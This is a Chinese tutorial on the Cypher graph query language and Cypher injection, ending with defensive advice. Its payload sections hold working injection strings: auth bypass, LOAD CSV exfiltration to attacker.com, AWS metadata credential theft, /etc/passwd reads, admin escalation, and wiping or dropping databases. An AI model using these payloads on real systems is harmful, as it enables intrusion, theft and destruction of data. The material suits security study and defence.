Cypher ,全称为 (Open) Cypher Query Language ,是一种专为图数据库设计的声明式查询语言。它以直观的模式匹配方式,帮助开发者和数据分析师从复杂的图结构数据中检索、创建和修改信息。如果说 SQL 是关系型数据库的语言,那么 Cypher 就是图数据库的语言。Cypher 最初由 Neo4j 开发,通过 openCypher 项目成为开放标准,现已被 RedisGraph、Apache Spark、Amazon Neptune 等多种图数据库采纳,成为图查询语言的事实标准之一。
本文将全面介绍 Cypher 的基础知识、语法结构以及 Cypher 注入的原理与攻击手法。
1. 图数据库与 Cypher 基础
图数据库的核心要素
与传统的关系型数据库(基于表格和行)不同,图数据库通过节点和关系的结构化方式存储数据。其核心由以下四个元素构成:
- 节点 (Nodes) :表示图中的实体,如人、书籍或公司。节点可以包含 属性 (Properties) ,以键值对形式存储详细信息,例如
{name: 'Alice', age: 25}。 - 关系 (Relationships) :连接两个节点,描述它们之间的关联。关系具有方向和类型,例如
(Alice)-[:FRIENDS_WITH]->(Bob)表示 Alice 与 Bob 之间的"朋友"关系。关系也可以拥有属性。 - 属性 (Properties) :存储在节点或关系中的键值对,用于附加详细信息。例如,一个
:Person节点可能有{name: 'Andy', title: 'Developer'}。 - 标签 (Labels) :用于对节点或关系进行分类。例如,所有表示人物的节点可以打上
:Person标签,表示公司的节点可以打上:Company标签,便于快速查询特定类型的实体。
一个典型的应用场景是安全分析工具 BloodHound,它利用 Neo4j 和 Cypher 的能力可视化并分析 Active Directory 中的复杂权限关系,帮助安全人员发现潜在的攻击路径。
Cypher 查询语言基础语法
Cypher 的强大之处在于其声明式和可组合的特性,通过一系列 子句 (Clauses) 构建查询,每个子句像管道一样处理数据,将前一个子句的输出传递给下一个子句。以下是 Cypher 的核心语法和子句:
查询注释
- 行内注释 :
//用于单行注释。 - 多行注释 :
/* ... */用于多行注释。
核心子句详解
-
MATCH :Cypher 的核心子句,用于匹配图中的模式,类似于 SQL 的
SELECT ... FROM,但更直观。cypher// 匹配所有标签为 "Fruit" 的节点并返回 MATCH (a:Fruit) RETURN a // 匹配具有特定属性的 "Fruit" 节点 MATCH (a:Fruit {title: 'Green Apple'}) RETURN a // 使用 WHERE 子句进行复杂过滤 MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a // 限制结果数量并排序 MATCH (a:Fruit) RETURN a ORDER BY a.title DESC LIMIT 20这里的
a是一个变量,代表匹配到的节点,类似于编程中的临时变量名,开发者可以自由命名(如a、n、m),用于在查询中引用节点。 -
CREATE:用于创建新的节点和关系。
cypher// 创建一个空节点 CREATE (n) // 创建带标签和属性的节点 CREATE (n:Person {name: 'Andy', title: 'Developer'}) // 创建节点后通过 SET 添加或修改属性 CREATE (n:Account) SET n.id=1, n.username="admin", n.password="password123" RETURN n这里的
n是节点变量,用于表示新创建的节点。 -
UNION / UNION ALL :合并多个查询结果。
UNION会去重,UNION ALL保留所有结果。合并的查询必须返回相同数量和名称的列。cypher// 合并人员姓名和书籍标题,使用相同别名 MATCH (n:Person) RETURN n.name AS name UNION MATCH (b:Book) RETURN b.title AS name这里的
n和b是变量,分别表示:Person和:Book节点。 -
WITH:将前一个子句的输出作为中间结果传递给下一个子句,常用于复杂查询或注入攻击中的查询链。
cypher// 匹配所有节点,排序并限制结果 MATCH (c) WITH c ORDER BY c.Character DESC LIMIT 3 RETURN collect(c.name)这里的
c是变量,代表匹配到的节点。 -
YIELD :在
CALL语句中指定过程返回的字段,绑定到变量供后续使用。cypher// 调用 db.labels() 获取所有标签,绑定到变量 x CALL db.labels() YIELD label AS x -
LOAD CSV :从本地或远程 CSV 文件导入数据,支持
HTTPS、HTTP、FTP和file:///协议,常被用于 SSRF 或任意文件读取攻击。cypher// 读取本地文件,可能导致任意文件读取 LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line // 读取远程文件,可能导致数据外泄 LOAD CSV FROM 'https://attacker.com/data.csv' AS line RETURN line这里的
line是变量,表示 CSV 文件的每一行数据。 -
APOC 库 :A wesome P rocedures o n C ypher 是一个 Neo4j 扩展库,提供丰富的功能,如
apoc.load.json()用于导入 JSON 数据,apoc.util.sleep()用于时间延迟(常用于时间盲注)。由于其强大功能,APOC 库是 Cypher 注入攻击的重要目标。
2. Cypher 注入:原理与攻击手法
Cypher 注入是一种类似于 SQL 注入的攻击方式,攻击者通过在用户可控的输入中插入恶意 Cypher 代码,改变查询的原始意图,执行未经授权的操作,如数据泄露、权限提升或拒绝服务。
Cypher 注入的分类
根据攻击者与数据库交互的方式,Cypher 注入可分为以下几类:
- 带内注入 (In-band) :攻击者通过同一通道注入代码并直接获取结果。
- 基于错误 (Error-based):通过构造恶意输入触发数据库错误,推断数据库结构或泄露数据。
- 推断型盲注 (Inferential Blind) :攻击者无法直接看到结果,但通过应用程序的行为推断信息。
- 基于布尔值 (Boolean-based) :通过注入
OR 1=1或OR 1=0,观察响应差异。 - 基于时间 (Time-based) :通过
apoc.util.sleep()等延迟函数,判断注入是否成功。
- 基于布尔值 (Boolean-based) :通过注入
- 带外注入 (Out-of-band) :利用
LOAD CSV等功能使数据库向攻击者控制的服务器发送请求,实现数据外泄或 SSRF。
与 SQL 注入相比,Cypher 注入有以下特点:
- 无"表"概念 :无法直接通过
UNION从其他"表"获取数据,但可合并不同查询结果。 - 时间盲注需依赖 APOC :Cypher 本身无
sleep函数,需使用apoc.util.sleep()。
经典注入攻击示例
以下是一些典型的 Cypher 注入攻击,展示如何利用漏洞实现恶意目的。
示例 1:简单带内注入 - 绕过查询限制
原始查询(以 NodeJS 应用为例):
javascript
executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")
攻击载荷:
Spongebob' or 1=1 RETURN c//
最终查询:
cypher
MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c
分析:
'闭合字符串,注入or 1=1使条件永真。//注释掉后续内容,返回所有:Character节点,绕过查询限制。
示例 2:带外注入 - 数据外泄
原始查询:
cypher
MATCH (p:Person) WHERE id(p) = 42 RETURN p
攻击载荷:
42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r
最终查询:
cypher
MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p
分析:
CALL db.labels()获取所有标签。LOAD CSV FROM 'https://attacker.com/' + label将每个标签发送到攻击者服务器。- 变量
r表示LOAD CSV的返回数据(通常为空或 CSV 内容)。
示例 3:OPTIONAL MATCH 泄露所有节点
攻击载荷:
1 OPTIONAL MATCH (m) RETURN m AS n //
分析:
OPTIONAL MATCH (m)匹配图中所有节点(包括无标签节点),即使没有匹配也不会报错。RETURN m AS n将所有节点重命名为n返回。- 变量
m表示匹配到的节点,n是输出别名。 - 效果:可能泄露整个数据库的节点数据,适用于带内注入场景。
构建恶意载荷的技巧
- 注入上下文分析 :根据注入点的位置(字符串、括号等),使用
'、"、)或}闭合原始查询。 - 利用注释 :通过
//或/* ... */注释掉不需要的查询部分(如LIMIT或RETURN)。 - WITH 子句 :在
CREATE等子句中注入WITH 1337 AS y跳出上下文,追加恶意子句。 - URL 编码 :在 HTTP 请求中,确保空格、引号等特殊字符被正确编码(如
%20、%27)。
3. 漏洞检测与利用实战
检测 Cypher 注入漏洞
- 基于错误检测 :
- 输入
'或",观察是否触发语法错误。 - 输入
1/0,触发运行时错误,分析错误信息以获取数据库结构或版本。
- 输入
- 盲注检测 :
- 数学运算 :在数字参数中注入
41+2-1,若响应与42相同,可能存在注入。 - 布尔值 :注入
' or 1=1//和' or 1=0//,观察响应差异。
- 数学运算 :在数字参数中注入
- 带外检测 :
- 使用
LOAD CSV向攻击者控制的服务器(如 Burp Collaborator)发送请求。 - 示例:
1 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS b RETURN b//- 变量
b表示LOAD CSV的返回数据。
- 变量
- 使用
丰富的利用载荷
以下是针对不同攻击目标的 Cypher 注入载荷,涵盖认证绕过、数据泄露、SSRF、权限提升和拒绝服务。
认证绕过
- 载荷 :
' or 1=1// - 场景:登录表单,绕过用户名或密码验证。
- 效果:使条件永真,返回所有匹配节点。
数据泄露(带内)
-
泄露所有标签:
cypher' RETURN 1 AS x UNION CALL db.labels() YIELD label AS x RETURN x//- 变量
x表示返回的标签名。
- 变量
-
泄露指定标签的属性:
cypher' RETURN 1 AS x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x//- 变量
c表示:Character节点,x表示属性键。
- 变量
-
泄露属性值:
cypher' RETURN 1 AS x UNION MATCH (c:Character) RETURN c.name AS x//- 变量
x表示节点属性name的值。
- 变量
数据泄露(带外)
-
泄露所有标签:
cypher' CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//- 变量
b表示LOAD CSV的返回数据。
- 变量
-
泄露属性值(需 APOC 库):
cypher' MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//- 变量
b表示LOAD CSV的返回数据。
- 变量
SSRF 与任意文件读取
-
泄露内部服务:
cypherLOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x LOAD CSV FROM "https://attacker.com/"+x[0] AS y RETURN ''//- 变量
x表示 AWS 元数据,y表示外泄数据。
- 变量
-
任意文件读取:
cypher' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RETURN n //- 变量
n表示文件内容。
- 变量
权限提升
-
原始查询 :
cypherCREATE (n:Account) SET n.password="{注入点}" -
攻击载荷 :
", n.admin=True RETURN n// -
最终查询 :
cypherCREATE (n:Account) SET n.password="", n.admin=True RETURN n //- 变量
n表示创建的账户节点,注入后提升为管理员。
- 变量
拒绝服务 (DoS)
-
删除所有节点:
cypher' MATCH (all) DETACH DELETE all//- 变量
all表示所有节点。
- 变量
-
删除数据库:
cypher' USE system CALL dbms.listDatabases() YIELD name WHERE name <> 'system' CALL { WITH name DROP DATABASE name } IN TRANSACTIONS RETURN 1 //- 变量
name表示数据库名称。
- 变量
4. 防御 Cypher 注入
-
参数化查询 :使用参数化查询(prepared statements)代替字符串拼接。例如:
javascriptexecuteQuery("MATCH (c:Character) WHERE c.name = $name RETURN c", { name: userInput }) -
输入验证和清理 :严格验证用户输入,过滤特殊字符(如
'、",//)。 -
最小权限原则 :限制数据库用户的权限,避免执行高危操作(如
DETACH DELETE或DROP DATABASE)。 -
禁用 APOC 高危功能 :限制
apoc.util.sleep()等函数,防止时间盲注。 -
限制 LOAD CSV :禁用
file://协议,限制外部网络请求。 -
错误信息隐藏:避免返回详细的数据库错误信息。
总结
Cypher 是一种强大且直观的图查询语言,广泛应用于图数据库中,但其灵活性也带来了 Cypher 注入 的风险。攻击者可以通过注入恶意代码实现认证绕过、数据泄露、SSRF、权限提升甚至拒绝服务。变量如 m、n、b 是查询中的临时标识符,具体含义取决于上下文,例如在 OPTIONAL MATCH (m) RETURN m AS n // 中,m 表示所有节点,n 是输出别名,可能导致整个数据库内容泄露。通过理解 Cypher 的语法和注入原理,开发者可以更好地检测和防御漏洞,而安全研究人员则能更有效地发现和利用潜在风险。